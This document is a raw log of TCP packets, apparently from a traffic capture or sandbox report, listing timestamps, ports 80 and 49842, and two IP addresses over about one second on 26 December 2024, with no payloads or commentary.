Dec 26, 2024 12:52:16.599684000 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.599740982 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.600310087 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.600322962 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.600364923 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.601341009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.601485014 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.601535082 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.601979971 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.601991892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.602044106 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.603115082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.603127003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.603171110 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.603657961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.603669882 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.603715897 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.604841948 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.604854107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.604893923 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.605441093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.605452061 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.605506897 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.606554985 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.606568098 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.606611013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.607132912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.607589006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.607824087 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.608198881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.608213902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.608261108 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.609365940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.609381914 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.609431982 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.610554934 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.610568047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.610606909 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.611130953 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.611701965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.611758947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.612234116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.612796068 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.612850904 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.613467932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.613478899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.613538027 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.614582062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.614593029 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.614636898 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.615712881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.615725994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.615772009 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.616806030 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.616817951 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.616863012 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.617980003 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.617993116 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.618038893 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.619057894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.619072914 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.619122982 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.620201111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.620218992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.620461941 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.621365070 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.621376991 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.621406078 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.621891975 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.622514963 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.622554064 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.623008966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.623572111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.623610973 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.624162912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.624455929 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.625277996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.625294924 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.625323057 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.625345945 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.626458883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.626471043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.626509905 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.627564907 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.627577066 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.627619982 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.628197908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.628211021 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.628248930 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.628679037 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.628690958 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.628727913 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.629313946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.629327059 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.629616022 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.629941940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.630444050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.631023884 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.631036997 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.631064892 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.631088972 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.631561995 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.631573915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.631607056 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.632148027 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.632162094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.632198095 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.632778883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.632791996 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.632818937 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.633317947 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.633328915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.633373022 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.633879900 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.634409904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.634838104 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.635013103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.635025024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.635066032 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.635587931 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.635631084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.635687113 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.636164904 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.636315107 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.636526108 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.637372971 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.637383938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.637415886 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.637913942 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.638473034 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.638755083 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.638946056 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.638957977 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.638995886 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.639528036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.640090942 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.640132904 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.640651941 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.640664101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.640697956 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.641542912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.715400934 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.741072893 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.804888010 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.805145025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.805186987 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.805197954 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.805257082 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.805298090 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.805859089 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.805951118 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.806015968 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.806698084 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.806747913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.806792974 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.807583094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.807779074 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.807832956 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.808433056 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.808549881 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.808619976 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.809310913 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.809453964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.809498072 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.810153008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.810272932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.810525894 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.810967922 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.811022997 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.811191082 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.811882019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.811980963 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.812041998 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.812710047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.813056946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.813112974 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.813580990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.813627005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.813667059 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.814498901 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.814589024 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.814629078 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.815488100 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.815609932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.815723896 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.816164970 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.816248894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.816287994 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.816942930 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.817437887 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.817473888 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.817797899 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.817919016 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.817966938 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.818650961 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.818825006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.818864107 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.819566965 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.819750071 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.819863081 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.820358038 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.820465088 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.820502043 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.821207047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.821319103 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.821371078 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.822401047 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.822413921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.822462082 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.822933912 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.823044062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.823153019 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.823805094 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.823920012 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.823961973 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.824626923 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.824723005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.824764013 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.825536966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.825615883 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.825659990 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.826364994 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.826432943 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.826472044 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.827203989 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.827366114 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.827404022 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.835103035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.835129976 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.835499048 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.860627890 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.860769033 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.860810041 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.861258984 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.861310005 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.861350060 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.862035990 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.862080097 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.862128019 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.862168074 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.862848043 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.863198042 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.863235950 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.863292933 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.864068031 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.864222050 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.864258051 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.864895105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.864947081 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.864995956 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.865776062 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.865817070 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.865897894 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.866616011 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.866702080 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.866746902 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.867476940 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.867527008 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.867568970 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.868355036 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.868395090 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.868449926 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.869183064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.869226933 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.869302988 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.870178938 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.870193005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.870219946 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.870878935 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.870923042 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.870970964 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.871789932 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.871830940 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.871880054 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.872581005 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.872687101 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.872726917 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.873431921 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.873541117 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.873579979 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.873965025 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.874274015 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.874315977 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.874475956 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.875391960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.875405073 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.875438929 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.875993013 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.876029968 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.876044035 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.876835108 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.876877069 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.876950026 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.877748966 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.877845049 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.877887011 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.878623009 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.878676891 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.878714085 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.879571915 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.879585981 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.879615068 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.880279064 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.880369902 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.880409002 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.881143093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:16.881191015 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.923544884 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:16.934111118 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.017290115 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.017954111 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.017968893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.017982006 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.018008947 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.018050909 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.018954992 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.018968105 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.018980980 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.019010067 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.020296097 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.020313025 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.020340919 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.020574093 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.020589113 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.020616055 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.021771908 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.021786928 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.021811962 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.022342920 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.022382021 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.022923946 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.023516893 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.023530960 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.023560047 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.024077892 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.024116993 CET	49842	80	192.168.2.6	185.215.113.16
Dec 26, 2024 12:52:17.024643898 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.025298119 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.025317907 CET	80	49842	185.215.113.16	192.168.2.6
Dec 26, 2024 12:52:17.025343895 CET	49842	80	192.168.2.6	185.215.113.16
